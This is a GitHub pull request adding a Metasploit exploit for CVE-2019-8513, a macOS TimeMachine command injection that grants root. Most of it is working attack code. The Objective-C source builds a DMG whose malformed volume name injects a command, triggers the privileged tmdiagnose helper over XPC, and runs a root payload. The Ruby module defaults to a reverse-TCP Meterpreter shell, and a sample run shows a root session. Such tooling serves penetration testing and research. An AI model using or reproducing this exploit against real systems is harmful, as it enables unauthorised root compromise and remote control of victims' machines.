Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for CVE-2019-8513 (TimeMachine cmd injection) #11726

Merged
merged 12 commits into from
Jun 29, 2019
Binary file added data/exploits/CVE-2019-8513/exploit
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
## Vulnerable Application
This vulnerability works against OSX <= 10.14.3 (Mojave). It has
been tested against Mojave (10.14) and High Sierra (10.13),
however it may work on older versions.


## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/timemachine_cmd_injection`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`

## Scenarios
### Example Run
bcoles marked this conversation as resolved.
Show resolved Hide resolved
```

msf5 exploit(multi/handler) > use exploit/osx/local/timemachine_cmd_injection
msf5 exploit(osx/local/timemachine_cmd_injection) > exploit

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.0.2:5555
[*] Uploading file: '/tmp/qhjlknnmf'
[*] Executing exploit '/tmp/qhjlknnmf'
[*] Exploit result:
2019-04-18 16:18:29.190 qhjlknnmf[51122:107119] creating dmg image
2019-04-18 16:18:33.300 qhjlknnmf[51122:107119] mounting malformed disk
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] sending XPC msg
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] now wait a few minutes for the root command to run
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (808504 bytes) to 192.168.0.2
[*] Meterpreter session 2 opened (192.168.0.2:5555 -> 192.168.0.2:34270) at 2019-04-18 16:20:02 +0800

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
25 changes: 25 additions & 0 deletions external/source/exploits/CVE-2019-8513/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
OUTPUT="./bin"
SOURCE=exp.m


.PHONY: $(OUTPUT)/test

all: $(SOURCE) prepare
clang -framework Foundation -framework DiskArbitration $(SOURCE) -o $(OUTPUT)/test

clean:
rm -rf $(OUTPUT)/*

run: all
$(OUTPUT)/test

format:
clang-format -i $(SOURCE)

prepare:
mkdir -p $(OUTPUT)

install:
mkdir -p ../../../../data/exploits/CVE-2019-8513/
cp $(OUTPUT)/test ../../../../data/exploits/CVE-2019-8513/exploit

140 changes: 140 additions & 0 deletions external/source/exploits/CVE-2019-8513/exp.m
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
/*
clang -framework Foundation -framework DiskArbitration exp.m -o exp && ./exp
*/

#import <Foundation/Foundation.h>
#import <DiskArbitration/DiskArbitration.h>
#import <xpc/xpc.h>

#include <glob.h>
#include <semaphore.h>

#include <sys/mman.h>

char root_payload[1024] = "ROOT_PAYLOAD_PLACEHOLDER";
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This approach is likely problematic in the unlikely event that the payload is larger than 1024. If it is in fact problematic, then it may be difficult to debug, as the cause won't be immediately obvious, due to clobbering adjacent binary data.

This also results in the payload being written to disk, rather than writing the exploit to disk and executing the payload in memory.

Potential alternatives:

  • adjusting the exploit to accept a command line argument to execute; or
  • adjusting the exploit to spawn a setuid(0,0,0) shell, if feasible, and piping the payload as input through STDIN; or
  • lazy option: adding a warning/error to the exploit method in the event that the generated payload is larger than 1024.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's actually tmdiagnose that calls back and executes our payload (without any arguments) so there is no way to avoid having some kind of payload on disk. (Unless you can think of a way?).
I'll see if I can pipe the python/command payload through stdin and also add a length check.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🤷 I haven't looked at how the exploit works at all. A closer look reveals the x64 payload obviously can't be piped, unless it's already written to disk, which is less preferable.

Simply adding a length check might be the easiest way.

void root() {
NSLog(@"[exploit] I am Groot!");

if (!strncmp(root_payload, "CMD:", 4)) {
system(root_payload + 4);
} else {
void *ptr = mmap(0, sizeof(root_payload), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
return;
}
memcpy(ptr, root_payload, sizeof(root_payload));
int (*sc)() = ptr;
sc();
}
}

#define TARGET "/tmp/1"
#define CMD "t*/1"
#define VOLUME "disk`" CMD "`\nA"
#define VOLUMEPATH "disk`t*:1`\nA"

@protocol DETimeMachineHelperProtocol
- (void)runDiagnosticWithDestinationDir:(NSURL *)arg1
replyURL:(void (^)(NSURL *))arg2;
@end

NSPipe *hdiutil(NSArray *args) {
NSPipe *pipe = [NSPipe pipe];
NSTask *task = [[NSTask alloc] init];
[task setStandardOutput:pipe];
[task setLaunchPath:@"/usr/bin/hdiutil"];
[task setArguments:args];
[task launch];
[task waitUntilExit];
return pipe;
}

void exploit() {
NSString *dir = [NSTemporaryDirectory()
stringByAppendingPathComponent:[[NSProcessInfo processInfo]
globallyUniqueString]];
NSString *dmg = [dir stringByAppendingString:@".dmg"];
NSFileManager *fileMgr = [NSFileManager defaultManager];
NSError *err = NULL;
NSString *src = [[NSBundle mainBundle] executablePath];
[fileMgr removeItemAtPath:@TARGET error:nil];
[fileMgr copyItemAtPath:src toPath:@TARGET error:&err];
if (err)
NSLog(@"warning, failed to copy: %@", err);

[fileMgr createDirectoryAtPath:dir
withIntermediateDirectories:YES
attributes:nil
error:&err];

NSLog(@"creating dmg image");
hdiutil(@[
@"create", @"-fs", @"HFS+", @"-volname", @VOLUME, @"-srcfolder", dir,
@"-size", @"840k", @"-format", @"UDRW", dmg
]);

NSLog(@"mounting malformed disk");
NSPipe *pipe = hdiutil(@[ @"attach", dmg ]);
NSString *mounted = [[NSString alloc]
timwr marked this conversation as resolved.
Show resolved Hide resolved
initWithData:[[pipe fileHandleForReading] readDataToEndOfFile]
encoding:NSUTF8StringEncoding];

NSLog(@"sending XPC msg");
NSXPCConnection *connection = [[NSXPCConnection alloc]
initWithMachServiceName:
@"com.apple.diagnosticextensions.osx.timemachine.helper"
options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(DETimeMachineHelperProtocol)];
[connection resume];
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
// it doesn't matter
NSURL *randomURL = [[NSURL alloc] initFileURLWithPath:dir];
[connection.remoteObjectProxy
runDiagnosticWithDestinationDir:randomURL
replyURL:^(NSURL *url) {
NSLog(@"done");
dispatch_semaphore_signal(semaphore);
}];
NSLog(@"now wait a few minutes for the root command to run");
if (fork()) {
return;
}

dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}

void cleanup() {
// eject malformed images
NSArray *mountedRemovableMedia = [[NSFileManager defaultManager] mountedVolumeURLsIncludingResourceValuesForKeys:nil options:NSVolumeEnumerationSkipHiddenVolumes];
NSMutableArray *result = [NSMutableArray array];
DASessionRef session = DASessionCreate(NULL);
if (session) {
for (NSURL *volURL in mountedRemovableMedia) {
DADiskRef disk = DADiskCreateFromVolumePath(NULL, session, (CFURLRef)volURL);
if (disk) {
NSString* filePath = [volURL path];
if ([filePath rangeOfString:@VOLUMEPATH].location != NSNotFound) {
DADiskUnmount(disk, kDADiskUnmountOptionDefault, NULL, NULL);
DADiskEject(disk, kDADiskEjectOptionDefault, NULL, NULL);
}
CFRelease(disk);
}
}
CFRelease(session);
}

system("killall -9 tmdiagnose");
}

int main(int argc, const char *argv[]) {
@autoreleasepool {
if (geteuid()) {
exploit();
} else {
cleanup();
root();
}
}
return 0;
}
93 changes: 93 additions & 0 deletions modules/exploits/osx/local/timemachine_cmd_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X TimeMachine Command Injection Privilege Escalation',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd like to think this won't be the last command injection LPE in TimeMachine. Perhaps mention tmdiagnose in the title, or something else unique and more applicable.

'Description' => %q{
This module exploits a vulnerability in TimeMachine on macOS <= 10.14.3
},
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Vulnerability discovery
bcoles marked this conversation as resolved.
Show resolved Hide resolved
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-8513'],
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
['URL', 'https://github.com/ChiChou/sploits'],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end

def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.14.4')
CheckCode::Safe
else
CheckCode::Appears
end
end

def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
if target['Arch'] == ARCH_X64
root_cmd = payload.encoded
else
root_cmd = payload.raw
if target['Arch'] == ARCH_PYTHON
root_cmd = "echo \"#{root_cmd}\" | python"
end
root_cmd = "CMD:#{root_cmd}"
end
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd

exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)

print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
end
end